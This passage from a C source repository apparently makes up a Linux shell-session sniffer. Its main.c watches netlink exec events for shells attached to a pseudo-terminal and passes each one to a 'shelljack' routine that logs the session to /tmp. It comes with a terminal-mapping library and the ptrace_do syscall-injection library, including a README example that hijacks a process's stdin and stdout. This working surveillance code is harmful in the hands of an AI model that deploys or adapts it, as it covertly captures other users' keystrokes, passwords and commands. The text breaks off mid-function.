552 | int ctty_get_fds(int pid, char *tty, int **fds){ 553 | char path[MAX_PATH_LEN + 1]; 554 | char scratch[MAX_PATH_LEN + 1]; 555 | DIR *proc_pid_fd; 556 | struct dirent *dir_entry; 557 | int count, i; 558 | 559 | memset(path, 0, sizeof(path)); 560 | if(snprintf(path, sizeof(path), "/proc/%d/fd/", pid) < 0){ 561 | #ifdef DEBUG 562 | fprintf(stderr, "%s: ctty_get_fds(): snprintf(%lx, %d, %s, %d): %s\n", program_invocation_short_name, \ 563 | (unsigned long) path, (int) sizeof(path), "/proc/%%d/fd/", pid, \ 564 | strerror(errno)); 565 | #endif 566 | return(-1); 567 | } 568 | 569 | if(!(proc_pid_fd = opendir(path))){ 570 | #ifdef DEBUG 571 | fprintf(stderr, "%s: ctty_get_fds(): opendir(%s): %s\n", program_invocation_short_name, \ 572 | path, \ 573 | strerror(errno)); 574 | #endif 575 | return(-1); 576 | } 577 | 578 | count = 0; 579 | for(i = 0; i < 2; i++){ 580 | while((dir_entry = readdir(proc_pid_fd))){ 581 | 582 | if(!(strcmp(dir_entry->d_name, ".") && strcmp(dir_entry->d_name, ".."))){ 583 | continue; 584 | } 585 | 586 | memset(scratch, 0, sizeof(scratch)); 587 | if(snprintf(scratch, sizeof(scratch), "/proc/%d/fd/%s", pid, dir_entry->d_name) < 0){ 588 | #ifdef DEBUG 589 | fprintf(stderr, "%s: ctty_get_fds(): snprintf(%lx, %d, %s, %d, %s): %s\n", program_invocation_short_name, \ 590 | (unsigned long) scratch, (int) sizeof(scratch), "/proc/%%d/fd/", pid, dir_entry->d_name, \ 591 | strerror(errno)); 592 | #endif 593 | count = -1; 594 | goto CLEAN_UP; 595 | } 596 | 597 | memset(path, 0, sizeof(path)); 598 | if(readlink(scratch, path, sizeof(path) - 1) == -1){ 599 | #ifdef DEBUG 600 | fprintf(stderr, "%s: ctty_get_fds(): readlink(%lx, %s, %d): %s\n", program_invocation_short_name, \ 601 | (unsigned long) scratch, path, (int) sizeof(path) - 1, \ 602 | strerror(errno)); 603 | #endif 604 | count = -1; 605 | goto CLEAN_UP; 606 | } 607 | 608 | if(!strncmp(path, tty, sizeof(path))){ 609 | if(i){ 610 | (*fds)[count] = (int) strtol(dir_entry->d_name, NULL, 10); 611 | } 612 | count++; 613 | } 614 | } 615 | 616 | if(!i){ 617 | rewinddir(proc_pid_fd); 618 | if(((*fds = (int *) malloc(count * sizeof(int))) == 0) && count){ 619 | #ifdef DEBUG 620 | fprintf(stderr, "%s: ctty_get_fds(): malloc(%d): %s\n", program_invocation_short_name, \ 621 | count * (int) sizeof(int), \ 622 | strerror(errno)); 623 | #endif 624 | count = -1; 625 | goto CLEAN_UP; 626 | } 627 | memset(*fds, 0, count * sizeof(int)); 628 | count = 0; 629 | } 630 | } 631 | 632 | CLEAN_UP: 633 | closedir(proc_pid_fd); 634 | return(count); 635 | } 636 | 637 | 638 | /************************************************************************ 639 | * 640 | * ctty_free_session() 641 | * 642 | * Inputs: 643 | * A pointer to the session object you no longer need. 644 | * 645 | * Outputs: 646 | * None. 647 | * 648 | ************************************************************************/ 649 | void ctty_free_session(struct sid_node *head){ 650 | struct sid_node *tmp; 651 | 652 | while(head){ 653 | tmp = head; 654 | head = head->next; 655 | 656 | clean_pgids(tmp->pgid_head); 657 | free(tmp->ctty); 658 | free(tmp); 659 | } 660 | } 661 | 662 | 663 | // Just some helpful cleaning functions after this. 664 | 665 | void clean_pgids(struct pgid_node *head){ 666 | struct pgid_node *tmp; 667 | 668 | while(head){ 669 | tmp = head; 670 | head = head->next; 671 | 672 | clean_pids(tmp->pid_head); 673 | free(tmp); 674 | } 675 | } 676 | 677 | void clean_pids(struct pid_node *head){ 678 | struct pid_node *tmp; 679 | 680 | while(head){ 681 | tmp = head; 682 | head = head->next; 683 | 684 | free(tmp->fds); 685 | free(tmp); 686 | } 687 | } 688 | -------------------------------------------------------------------------------- /ctty/libctty.h: -------------------------------------------------------------------------------- 1 | #undef DEBUG 2 | 3 | #define _GNU_SOURCE 4 | 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | 21 | #define BUFF_LEN 1024 22 | 23 | /* 24 | * A sid_node represents one session. 25 | * 26 | * "man 7 credentials" for details on sessions. 27 | * 28 | */ 29 | struct sid_node{ 30 | pid_t sid; 31 | uid_t uid; 32 | char *ctty; 33 | 34 | struct pgid_node *pgid_head; 35 | 36 | struct sid_node *next; 37 | }; 38 | 39 | 40 | /* 41 | * A pgid_node represents one process group. 42 | * Note that unlike a session leader where sid == pgid == pid, 43 | * a pgid leader may not exist. (E.g. first command in a pipeline 44 | * after it finishes. The remaining pipeline processes will have 45 | * the parents pgid, though the parent has exited already.) 46 | * 47 | */ 48 | struct pgid_node{ 49 | pid_t pgid; 50 | 51 | struct pid_node *pid_head; 52 | 53 | struct pgid_node *next; 54 | }; 55 | 56 | 57 | /* 58 | * A pid_node represents the process itself. 59 | * 60 | */ 61 | struct pid_node{ 62 | pid_t ppid; 63 | pid_t pid; 64 | pid_t pgid; 65 | pid_t sid; 66 | 67 | int fd_count; 68 | int *fds; 69 | 70 | struct pid_node *next; 71 | }; 72 | 73 | 74 | /* 75 | * Used when parsing the /proc/PID/stat file. 76 | * 77 | */ 78 | struct proc_stat{ 79 | pid_t ppid; 80 | pid_t pid; 81 | pid_t pgrp; 82 | pid_t session; 83 | int tty_nr; 84 | }; 85 | 86 | 87 | /* ctty_get_name() is used to discover the controlling tty for a process. */ 88 | char *ctty_get_name(int pid); 89 | 90 | /* ctty_get_session() is used to map out the entire process session. */ 91 | struct sid_node *ctty_get_session(char *tty_name); 92 | 93 | /* ctty_free_session() is used to release the session data structure. */ 94 | void ctty_free_session(struct sid_node *session); 95 | 96 | /* ctty_stat_parse() will pull ctty and session related info from the processes stat file. */ 97 | int ctty_stat_parse(int pid, struct proc_stat *stat_info); 98 | 99 | /* ctty_get_fds() returns the list of file descriptors open to the tty you're interested in. */ 100 | int ctty_get_fds(int pid, char *tty, int **fds); 101 | -------------------------------------------------------------------------------- /log.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | void trace(const char* format, ...) { 10 | va_list param; 11 | struct timeval tv; 12 | struct tm *nowtm; 13 | time_t nowtime; 14 | char tmbuf[64], buf[512]; 15 | 16 | gettimeofday(&tv, NULL); 17 | nowtime = tv.tv_sec; 18 | nowtm = localtime(&nowtime); 19 | strftime(tmbuf, sizeof tmbuf, "%H:%M:%S", nowtm); 20 | snprintf(buf, sizeof buf, "%s.%03ld", tmbuf, tv.tv_usec); 21 | FILE *out = fopen("/dev/stdout","a+"); 22 | va_start(param, format); 23 | fprintf(out, "(%d) %s: " , getpid(), buf); 24 | vfprintf(out, format, param); 25 | fprintf(out, "\n"); 26 | va_end(param); 27 | fclose(out); 28 | } 29 | 30 | 31 | void hd(const void* data, size_t size) { 32 | char ascii[17]; 33 | size_t i, j; 34 | ascii[16] = '\0'; 35 | for (i = 0; i < size; ++i) { 36 | printf("%02X ", ((unsigned char*)data)[i]); 37 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 38 | ascii[i % 16] = ((unsigned char*)data)[i]; 39 | } else { 40 | ascii[i % 16] = '.'; 41 | } 42 | if ((i+1) % 8 == 0 || i+1 == size) { 43 | printf(" "); 44 | if ((i+1) % 16 == 0) { 45 | printf("| %s \n", ascii); 46 | } else if (i+1 == size) { 47 | ascii[(i+1) % 16] = '\0'; 48 | if ((i+1) % 16 <= 8) { 49 | printf(" "); 50 | } 51 | for (j = (i+1) % 16; j < 16; ++j) { 52 | printf(" "); 53 | } 54 | printf("| %s \n", ascii); 55 | } 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | 15 | 16 | #include "mara.h" 17 | 18 | #define POT "/tmp/" 19 | 20 | #define NUM_BINS 7 21 | char *bins[] = { 22 | "/bin/bash", 23 | "/bin/sh", 24 | "/bin/tcsh", 25 | "/bin/zsh", 26 | "/bin/csh", 27 | "/bin/ksh", 28 | 0 29 | }; 30 | 31 | 32 | 33 | void jack(pid_t pid, char *exe, char *pty, char *stdin, char *user){ 34 | TRACE("handle pid=%i exe=%s stdin=%s pty=%s user=%s",pid,exe,stdin,pty,user); 35 | char path[4096]={0}; 36 | struct timeval tv; 37 | gettimeofday(&tv, NULL); 38 | int ret; 39 | if ((ret = sprintf(path,"%s/%s_%i_%li",POT,user,pid,tv.tv_sec)) < 0 ){ 40 | TRACE("[-] can't get log path : %s",strerror(errno)); 41 | return; 42 | } 43 | 44 | shelljack(pid,path); 45 | 46 | } 47 | 48 | int handle(struct proc_event proc_ev){ 49 | int ret = -1; 50 | char *sret = NULL; 51 | char exe[4096] = {0}; 52 | char path[4096] = {0}; 53 | char pty[4096] = {0}; 54 | char map[4096] = {0}; 55 | struct stat st; 56 | struct passwd *pw; 57 | 58 | // get real exe name 59 | if ((ret = sprintf(path,"/proc/%d/exe",proc_ev.event_data.id.process_pid)) < 0 ){ 60 | TRACE("[-] can't get exe path : %s",strerror(errno)); 61 | return -1; 62 | } 63 | if ((ret = readlink(path,exe,4096)) < 0){ 64 | return -1; 65 | } 66 | 67 | // exe in interesting process list to sniff ? 68 | char *bin = NULL; 69 | 70 | for (int i = 0 ;i < NUM_BINS; i++){ 71 | bin = bins[i]; 72 | if(!bin) 73 | break; 74 | if ((sret = strstr(exe,bin)) != NULL) 75 | break; 76 | } 77 | 78 | if(bin){ 79 | // ok good process let's check if it has a pty 80 | memset(path,0,4096); 81 | if ((ret = sprintf(path,"/proc/%d/fd/0",proc_ev.event_data.id.process_pid)) < 0 ){ 82 | TRACE("[-] can't get exe stdin: %s ",strerror(errno)); 83 | return -1; 84 | } 85 | 86 | if ((ret = readlink(path,pty,4096)) < 0){ 87 | TRACE("[-] can't read stdin symlink : %s",strerror(errno)); 88 | return -1; 89 | } 90 | 91 | // stdin in tty/pty and not socket/pipe ? 92 | if ((sret = strstr(pty,"/dev/pts")) == NULL) 93 | return -1; 94 | 95 | if ((ret = sprintf(map,"/proc/%d/maps",proc_ev.event_data.id.process_pid)) < 0 ){ 96 | TRACE("[-] can't get map : %s",strerror(errno)); 97 | return -1; 98 | } 99 | 100 | if ( (ret = stat(map,&st)) < 0) { 101 | TRACE("[-] can't stat %s: %s ",exe,strerror(errno)); 102 | return -1; 103 | } 104 | 105 | if ( (pw = getpwuid(st.st_uid)) == NULL){ 106 | TRACE("[-] can't get info on uid %d: %s ",st.st_uid,strerror(errno)); 107 | return -1; 108 | } 109 | // process ok controlling terminal ok let's sniff that shit 110 | jack(proc_ev.event_data.id.process_pid, exe, pty, path, pw->pw_name); 111 | 112 | } 113 | return 0; 114 | } 115 | 116 | void nl_listen(){ 117 | struct sockaddr_nl sa; 118 | int sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_CONNECTOR); 119 | if(sock > 0){ 120 | sa.nl_family = AF_NETLINK; 121 | sa.nl_groups = CN_IDX_PROC; 122 | sa.nl_pid = getpid(); 123 | int res = bind(sock, (struct sockaddr *)&sa, sizeof(sa)); 124 | if (res < 0){ 125 | close(sock); 126 | perror("[-] Unable to bind sock"); 127 | exit(-1); 128 | } 129 | 130 | struct __attribute__ ((aligned(NLMSG_ALIGNTO))) { 131 | struct nlmsghdr nl_hdr; 132 | 133 | struct __attribute__ ((__packed__)) { 134 | struct cn_msg cn_msg; 135 | enum proc_cn_mcast_op cn_mcast; 136 | }; 137 | } sock_msg; 138 | 139 | memset(&sock_msg, 0, sizeof(sock_msg)); 140 | 141 | sock_msg.nl_hdr.nlmsg_len = sizeof(sock_msg); 142 | sock_msg.nl_hdr.nlmsg_pid = getpid(); 143 | sock_msg.nl_hdr.nlmsg_type = NLMSG_DONE; 144 | sock_msg.cn_msg.id.idx = CN_IDX_PROC; 145 | sock_msg.cn_msg.id.val = CN_VAL_PROC; 146 | sock_msg.cn_msg.len = sizeof(enum proc_cn_mcast_op); 147 | sock_msg.cn_mcast = PROC_CN_MCAST_LISTEN; 148 | //nlcn_msg.cn_mcast = PROC_CN_MCAST_IGNORE; 149 | 150 | res = send(sock, &sock_msg, sizeof(sock_msg), 0); 151 | 152 | if (res < 0){ 153 | close(sock); 154 | TRACE("[-] Unable to write to sock : %s ",strerror(errno)); 155 | exit(-1); 156 | } 157 | 158 | struct __attribute__ ((aligned(NLMSG_ALIGNTO))) { 159 | struct nlmsghdr nl_hdr; 160 | struct __attribute__ ((__packed__)) { 161 | struct cn_msg cn_msg; 162 | struct proc_event proc_ev; 163 | }; 164 | } nlcn_msg; 165 | 166 | memset(&nlcn_msg, 0, sizeof(nlcn_msg)); 167 | 168 | while(1){ 169 | res = recv(sock, &nlcn_msg, sizeof(nlcn_msg), 0); 170 | if (res == 0 || res == -1) continue; 171 | switch (nlcn_msg.proc_ev.what) { 172 | 173 | case PROC_EVENT_EXEC: 174 | handle(nlcn_msg.proc_ev); 175 | break; 176 | 177 | default: 178 | break; 179 | } 180 | } 181 | } 182 | } 183 | 184 | int main(){ 185 | nl_listen(); 186 | return 0; 187 | } 188 | -------------------------------------------------------------------------------- /mara.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | 7 | // main 8 | 9 | void jack(pid_t pid, char *exe, char *pty, char *stdin, char *user); 10 | void nl_listen(); 11 | int handle(struct proc_event proc_ev); 12 | 13 | // log.c 14 | 15 | void hd(const void* data, size_t size); 16 | 17 | #ifdef PROD 18 | #define TRACE (void)sizeof 19 | void trace(const char* format, ...); 20 | #else 21 | #define TRACE( fmt , args... ) trace("\033[1;36m%-18s\033[0;33m%-18s\033[0;32m#%d \t\033[0m" fmt , __FILE__ , __FUNCTION__ , __LINE__ , ##args ); 22 | void trace(const char* format, ...); 23 | #endif 24 | 25 | // shelljack.c 26 | int shelljack(int target_pid,char *filename); -------------------------------------------------------------------------------- /ptrace_do/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (C) 2013 emptymonkey 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /ptrace_do/Makefile: -------------------------------------------------------------------------------- 1 | CC = musl-gcc 2 | CFLAGS = -std=gnu99 -Wall -Wextra -pedantic -O3 3 | AR = ar 4 | ARFLAGS = rcs 5 | RANLIB = ranlib 6 | 7 | all: libptrace_do.a test 8 | 9 | libptrace_do.a: libptrace_do.c libptrace_do.h parse_maps.c 10 | $(CC) $(CFLAGS) -c parse_maps.c 11 | $(CC) $(CFLAGS) -c libptrace_do.c 12 | $(AR) $(ARFLAGS) libptrace_do.a libptrace_do.o parse_maps.o 13 | $(RANLIB) libptrace_do.a 14 | 15 | test: test.c 16 | $(CC) $(CFLAGS) -L. -o test test.c -lptrace_do 17 | 18 | clean: 19 | rm libptrace_do.o libptrace_do.a parse_maps.o test 20 | -------------------------------------------------------------------------------- /ptrace_do/README.md: -------------------------------------------------------------------------------- 1 | # ptrace_do # 2 | 3 | ptrace_do is a [ptrace](http://en.wikipedia.org/wiki/Ptrace) library designed to simplify [syscall](http://en.wikipedia.org/wiki/Syscall) injection in Linux. 4 | 5 | **What is ptrace?** 6 | 7 | [ptrace](http://linux.die.net/man/2/ptrace) is the debugging interface provided by the [Linux](http://en.wikipedia.org/wiki/Linux) kernel. It allows you to connect to a running process, examine and alter its memory, and change it's runtime state. Unfortunately, it's quite complex and requires a solid understanding of the underlying architecture and OS. ptrace_do was written to allow pentesters access to a simplified interface for injecting syscalls into a target process. 8 | 9 | The best introduction to ptrace that I've seen comes in the form of two articles by Pradeep Padala dating back to 2002: 10 | 11 | * [Playing with ptrace, Part I](http://www.linuxjournal.com/article/6100) 12 | * [Playing with ptrace, Part II](http://www.linuxjournal.com/article/6210) 13 | 14 | **That's awesome! [1337 h4X0rZ rUL3!!](http://hackertyper.com/)** 15 | 16 | Sorry, no. This isn't an ["exploit"](http://en.wikipedia.org/wiki/Sploit). This code only uses standard, though not commonly understood, interfaces for process interaction and control. In order to affect a process you don't already own, you will need to have the [CAP_SYS_PTRACE](http://lxr.linux.no/#linux+v3.9.4/include/uapi/linux/capability.h#L218) [capability](http://linux.die.net/man/7/capabilities) (i.e. root). 17 | 18 | **Can I use this on any Linux host?** 19 | 20 | Currently, ptrace_do will only work on x86_64 Linux. Because it uses the Linux ptrace interface to inject assembly language [syscalls](http://en.wikipedia.org/wiki/Syscall) into a target process, nothing here is portable. I did try to keep it as modular as possible, and I would consider porting it to another architecture if it became popular enough. 21 | 22 | ## Usage ## 23 | 24 | **Example: Injecting "exit(42);"** 25 | 26 | struct ptrace_do *target; 27 | 28 | target = ptrace_do_init(TARGET_PID); 29 | ptrace_do_syscall(target, _NR_exit, 42, 0, 0, 0, 0, 0); 30 | 31 | **Example: Injecting open / dup2 / close calls to hijack stdin / stdout / stderr.** 32 | 33 | char *buffer; 34 | struct ptrace_do *target; 35 | void *remote_addr; 36 | int fd; 37 | 38 | target = ptrace_do_init(TARGET_PID); 39 | buffer = (char *) ptrace_do_malloc(target, BUFF_SIZE); 40 | memset(buffer, 0, BUFF_SIZE); 41 | snprintf(buffer, BUFF_SIZE, "/dev/pts/4"); 42 | remote_addr = ptrace_do_push_mem(target, buffer); 43 | fd = ptrace_do_syscall(target, __NR_open, remote_addr, O_RDWR, 0, 0, 0, 0); 44 | ptrace_do_syscall(target, __NR_dup2, fd, 0, 0, 0, 0, 0); 45 | ptrace_do_syscall(target, __NR_dup2, fd, 1, 0, 0, 0, 0); 46 | ptrace_do_syscall(target, __NR_dup2, fd, 2, 0, 0, 0, 0); 47 | ptrace_do_syscall(target, __NR_close, fd, 0, 0, 0, 0, 0); 48 | ptrace_do_cleanup(target); 49 | 50 | For a more advanced usage, please examine my [shelljack](https://github.com/emptymonkey/shelljack) code, for which this library was written to accomidate. 51 | 52 | ## Documentation ## 53 | 54 | Here is the brief list of function interfaces. These functions are documented in greater detail within the source. 55 | 56 | /* ptrace_do_init() hooks the target and prepares it to run our commands. */ 57 | struct ptrace_do *ptrace_do_init(int pid); 58 | 59 | /* ptrace_do_malloc() allocates memory in the remote process for our use, without worry of upsetting the remote memory state. */ 60 | void *ptrace_do_malloc(struct ptrace_do *target, size_t size); 61 | 62 | /* ptrace_do_free() frees a joint memory object. "operation" refers to the FREE_* modes above. */ 63 | void ptrace_do_free(struct ptrace_do *target, void *local_address, int operation); 64 | 65 | /* ptrace_do_push_mem() and ptrace_do_pull_mem() synchronize the memory states between local and remote buffers. */ 66 | void *ptrace_do_push_mem(struct ptrace_do *target, void *local_address); 67 | void *ptrace_do_pull_mem(struct ptrace_do *target, void *local_address); 68 | 69 | /* Short helper function to translate your local address to the remote one. */ 70 | void *ptrace_do_get_remote_addr(struct ptrace_do *target, void *local_addr); 71 | 72 | /* ptrace_do_sig_ignore() sets the signal mask for the remote process. */ 73 | /* This is simple enough, we only need a macro. */ 74 | /* Note, this is for *our* handling of remote signals. This won't persist once we detatch. */ 75 | #define ptrace_do_sig_ignore(TARGET, SIGNAL) TARGET->sig_ignore |= 1<pid = pid; 63 | 64 | 65 | // Here we test to see if the child is already attached. This may be the case if the child 66 | // is a willing accomplice, aka PTRACE_TRACEME. 67 | // We are testing if it is already traced by trying to read data, specifically its last 68 | // signal received. If PTRACE_GETSIGINFO is succesfull *and* the last signal recieved was 69 | // SIGTRAP, then it's prolly safe to assume this is the PTRACE_TRACEME case. 70 | 71 | memset(&siginfo, 0, sizeof(siginfo)); 72 | if(ptrace(PTRACE_GETSIGINFO, target->pid, NULL, &siginfo)){ 73 | 74 | if((retval = ptrace(PTRACE_ATTACH, target->pid, NULL, NULL)) == -1){ 75 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 76 | (int) PTRACE_ATTACH, (int) target->pid, (long unsigned int) NULL, \ 77 | (long unsigned int) NULL, strerror(errno)); 78 | free(target); 79 | return(NULL); 80 | } 81 | 82 | if((retval = waitpid(target->pid, &status, 0)) < 1){ 83 | fprintf(stderr, "%s: waitpid(%d, %lx, 0): %s\n", program_invocation_short_name, \ 84 | (int) target->pid, (unsigned long) &status, strerror(errno)); 85 | free(target); 86 | return(NULL); 87 | } 88 | 89 | if(!WIFSTOPPED(status)){ 90 | free(target); 91 | return(NULL); 92 | } 93 | }else{ 94 | if(siginfo.si_signo != SIGTRAP){ 95 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): Success, but not recently trapped. Aborting!\n", program_invocation_short_name, \ 96 | (int) PTRACE_GETSIGINFO, (int) target->pid, (long unsigned int) NULL, \ 97 | (long unsigned int) &siginfo); 98 | free(target); 99 | return(NULL); 100 | } 101 | } 102 | 103 | if((retval = ptrace(PTRACE_GETREGS, target->pid, NULL, &(target->saved_regs))) == -1){ 104 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 105 | (int) PTRACE_GETREGS, (int) target->pid, (long unsigned int) NULL, \ 106 | (long unsigned int) &(target->saved_regs), strerror(errno)); 107 | free(target); 108 | return(NULL); 109 | } 110 | 111 | // The tactic for performing syscall injection is to fill the registers to the appropriate values for your syscall, 112 | // then point $rip at a piece of executable memory that contains the SYSCALL instruction. 113 | 114 | // If we came in from a PTRACE_ATTACH call, then it's likely we are on a syscall edge, and can save time by just 115 | // using the one SIZEOF_SYSCALL addresses behind where we are right now. 116 | errno = 0; 117 | peekdata = ptrace(PTRACE_PEEKTEXT, target->pid, (target->saved_regs).rip - SIZEOF_SYSCALL, NULL); 118 | 119 | if(!errno && ((SYSCALL_MASK & peekdata) == SYSCALL)){ 120 | target->syscall_address = (target->saved_regs).rip - SIZEOF_SYSCALL; 121 | 122 | // Otherwise, we will need to start stepping through the various regions of executable memory looking for 123 | // a SYSCALL instruction. 124 | }else{ 125 | if((target->map_head = get_proc_pid_maps(target->pid)) == NULL){ 126 | fprintf(stderr, "%s: get_proc_pid_maps(%d): %s\n", program_invocation_short_name, \ 127 | (int) target->pid, strerror(errno)); 128 | free(target); 129 | return(NULL); 130 | } 131 | 132 | map_current = target->map_head; 133 | while(map_current){ 134 | 135 | if(target->syscall_address){ 136 | break; 137 | } 138 | 139 | if((map_current->perms & MAPS_EXECUTE)){ 140 | 141 | for(i = map_current->start_address; i < (map_current->end_address - sizeof(i)); i++){ 142 | errno = 0; 143 | peekdata = ptrace(PTRACE_PEEKTEXT, target->pid, i, NULL); 144 | if(errno){ 145 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 146 | (int) PTRACE_PEEKTEXT, (int) target->pid, i, \ 147 | (long unsigned int) NULL, strerror(errno)); 148 | free(target); 149 | free_parse_maps_list(target->map_head); 150 | return(NULL); 151 | } 152 | 153 | if((SYSCALL_MASK & peekdata) == SYSCALL){ 154 | target->syscall_address = i; 155 | break; 156 | } 157 | } 158 | } 159 | 160 | map_current = map_current->next; 161 | } 162 | } 163 | return(target); 164 | } 165 | 166 | 167 | /********************************************************************** 168 | * 169 | * void *ptrace_do_malloc(struct ptrace_do *target, size_t size) 170 | * 171 | * Input: 172 | * This sessions ptrace_do object. 173 | * The desired size for the users local buffer. 174 | * 175 | * Output: 176 | * A pointer to the local storage space. NULL on error. 177 | * 178 | * Purpose: 179 | * Reserve a chunk of memory of the given 'size' in both the local 180 | * and remote processes, and link them together inside of this 181 | * sessions ptrace_do object. This gives the local code a place 182 | * in the remote process to save data for various purposes. 183 | * (e.g. the file path needed for an open() syscall). 184 | * 185 | * Note: 186 | * Multiple calls to ptrace_do_malloc will make multiple calls to 187 | * mmap in the remote context. This should be fine and will 188 | * usually be arranged as page aligned sequential chunks by the 189 | * OS. 190 | * 191 | **********************************************************************/ 192 | void *ptrace_do_malloc(struct ptrace_do *target, size_t size){ 193 | 194 | struct mem_node *new_mem_node, *last_mem_node; 195 | 196 | 197 | if(!size){ 198 | return(NULL); 199 | } 200 | 201 | last_mem_node = target->mem_head; 202 | if(last_mem_node){ 203 | while(last_mem_node->next){ 204 | last_mem_node = last_mem_node->next; 205 | } 206 | } 207 | 208 | while(size % sizeof(long)){ 209 | size++; 210 | } 211 | 212 | if((new_mem_node = (struct mem_node *) malloc(sizeof(struct mem_node))) == NULL){ 213 | fprintf(stderr, "%s: malloc(%d): %s\n", program_invocation_short_name, \ 214 | (int) sizeof(struct mem_node), strerror(errno)); 215 | return(NULL); 216 | } 217 | memset(new_mem_node, 0, sizeof(struct mem_node)); 218 | 219 | if((new_mem_node->local_address = malloc(size)) == NULL){ 220 | fprintf(stderr, "%s: malloc(%d): %s\n", program_invocation_short_name, \ 221 | (int) size, strerror(errno)); 222 | free(new_mem_node); 223 | return(NULL); 224 | } 225 | new_mem_node->word_count = (size / sizeof(long)); 226 | 227 | if((long) (new_mem_node->remote_address = ptrace_do_syscall(target, \ 228 | __NR_mmap, (unsigned long) NULL, size, \ 229 | PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)) < 0){ 230 | fprintf(stderr, "%s: ptrace_do_syscall(%lx, %lx, %lx, %lx, %lx, %lx, %lx, %lx): %s\n", \ 231 | program_invocation_short_name, (unsigned long) target, \ 232 | (unsigned long) __NR_mmap, (unsigned long) NULL, (unsigned long) size, \ 233 | (unsigned long) (PROT_READ|PROT_WRITE), (unsigned long) (MAP_PRIVATE|MAP_ANONYMOUS), \ 234 | (unsigned long) -1, (unsigned long) 0, strerror(-new_mem_node->remote_address)); 235 | free(new_mem_node->local_address); 236 | free(new_mem_node); 237 | return(NULL); 238 | } 239 | 240 | if(last_mem_node){ 241 | last_mem_node->next = new_mem_node; 242 | }else{ 243 | target->mem_head = new_mem_node; 244 | } 245 | 246 | return(new_mem_node->local_address); 247 | } 248 | 249 | 250 | /********************************************************************** 251 | * 252 | * void *ptrace_do_push_mem(struct ptrace_do *target, void *local_address) 253 | * 254 | * Input: 255 | * This sessions ptrace_do object. 256 | * A reference to a local buffer that was created with ptrace_do_malloc(). 257 | * 258 | * Output: 259 | * A pointer to the buffer in the remote process. (Presumably for 260 | * use in a later syscall). NULL on error. 261 | * 262 | * Purpose: 263 | * Copies the data in the local_address buffer to the buffer in 264 | * the remote process to which it is linked. Upon return you 265 | * have an address to hand a remote syscall. 266 | * 267 | **********************************************************************/ 268 | void *ptrace_do_push_mem(struct ptrace_do *target, void *local_address){ 269 | 270 | int retval, i; 271 | unsigned long ptrace_data; 272 | struct mem_node *node; 273 | 274 | 275 | node = target->mem_head; 276 | if(node){ 277 | while(node->next && node->local_address != local_address){ 278 | node = node->next; 279 | } 280 | } 281 | 282 | if(!(node && (node->local_address == local_address))){ 283 | fprintf(stderr, "%s: ptrace_do_pull_mem(%lx, %lx): No matching address location\n", 284 | program_invocation_short_name, (unsigned long) target, (unsigned long) local_address); 285 | return(NULL); 286 | } 287 | 288 | memset(&ptrace_data, 0, sizeof(ptrace_data)); 289 | for(i = 0; i < (int) node->word_count; i++){ 290 | memcpy(&ptrace_data, &(((char *) local_address)[i * sizeof(long)]), sizeof(long)); 291 | 292 | if((retval = ptrace(PTRACE_POKETEXT, target->pid, \ 293 | (void *) (node->remote_address + (i * sizeof(long))), (void *) ptrace_data)) == -1){ 294 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 295 | (int) PTRACE_POKETEXT, (int) target->pid, \ 296 | (long unsigned int) (node->remote_address + (i * sizeof(long))), \ 297 | (long unsigned int) ptrace_data, strerror(errno)); 298 | return(NULL); 299 | } 300 | } 301 | 302 | return((void *) node->remote_address); 303 | } 304 | 305 | 306 | /********************************************************************** 307 | * 308 | * void *ptrace_do_pull_mem(struct ptrace_do *target, void *local_address) 309 | * 310 | * Input: 311 | * This sessions ptrace_do object. 312 | * A reference to a local buffer that was created with ptrace_do_malloc(). 313 | * 314 | * Output: 315 | * A pointer to the buffer in the remote process. (Presumably for 316 | * use in a later syscall). NULL on error. 317 | * 318 | * Purpose: 319 | * Copies the data in the remote process buffer to the buffer in 320 | * local_address to which it is linked. 321 | * 322 | **********************************************************************/ 323 | void *ptrace_do_pull_mem(struct ptrace_do *target, void *local_address){ 324 | 325 | int i; 326 | 327 | unsigned long ptrace_data; 328 | struct mem_node *node; 329 | 330 | node = target->mem_head; 331 | if(node){ 332 | while(node->next && node->local_address != local_address){ 333 | node = node->next; 334 | } 335 | } 336 | 337 | if(!(node && 